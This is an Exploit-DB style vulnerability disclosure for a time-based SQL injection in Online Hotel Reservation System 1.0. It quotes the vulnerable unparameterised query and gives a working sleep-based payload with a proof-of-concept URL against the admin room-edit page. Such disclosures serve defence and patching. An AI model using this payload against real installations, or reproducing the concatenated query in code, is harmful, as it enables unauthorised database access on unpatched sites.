Online Hotel Reservation System 1.0 - 'id' Time-based SQL Injection

vendor:

Online Hotel Reservation System in PHP/MySQLi with Source Code

by:

Mesut Cetin

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Online Hotel Reservation System in PHP/MySQLi with Source Code

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:sourcecodester:online_hotel_reservation_system_in_phpmysqli_with_source_code:1.0

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Kali Linux 2020.4, PHP 7.4.13, mysqlnd 7.4.13, Apache/2.4.46 (Unix), OpenSSL/1.1.1h, mod_perl/2.0.11 Perl/v5.32.0

2021

Online Hotel Reservation System 1.0 – ‘id’ Time-based SQL Injection

Vulnerable to SQL Injection. The 'id' parameter at http://localhost/marimar/admin/mod_room/index.php?view=edit&id=11 is vulnerable to time-based SQL injection. Payload: (select*from(select(sleep(10)))a) Proof of Concept: http://localhost/marimar/admin/mod_room/index.php?view=edit&id=(select*from(select(sleep(10)))a)

Mitigation:

Input validation and sanitization should be done to prevent SQL injection attacks.

Source

Exploit-DB raw data:

# Exploit Title: Online Hotel Reservation System 1.0 - 'id' Time-based SQL Injection
# Exploit Author: Mesut Cetin
# Date: 2021-01-14
# Vendor Homepage: https://www.sourcecodester.com/php/13492/online-hotel-reservation-system-phpmysqli.html
# Software Link: https://www.sourcecodester.com/download-code?nid=13492&title=Online+Hotel+Reservation+System+in+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Kali Linux 2020.4, PHP 7.4.13, mysqlnd 7.4.13, Apache/2.4.46 (Unix), OpenSSL/1.1.1h, mod_perl/2.0.11 Perl/v5.32.0

######## Description ########

Vulnerable to SQL Injection. 

// vulnerable parameter at include/room.php, line 25:

$mydb->setQuery("SELECT * FROM ".self::$tbl_name." Where `ROOMID`= {id} LIMIT 1");

######## Proof of Concept #########

The 'id' parameter at http://localhost/marimar/admin/mod_room/index.php?view=edit&id=11 is vulnerable to time-based SQL injection.

Payload: (select*from(select(sleep(10)))a)

Proof of Concept:

http://localhost/marimar/admin/mod_room/index.php?view=edit&id=(select*from(select(sleep(10)))a)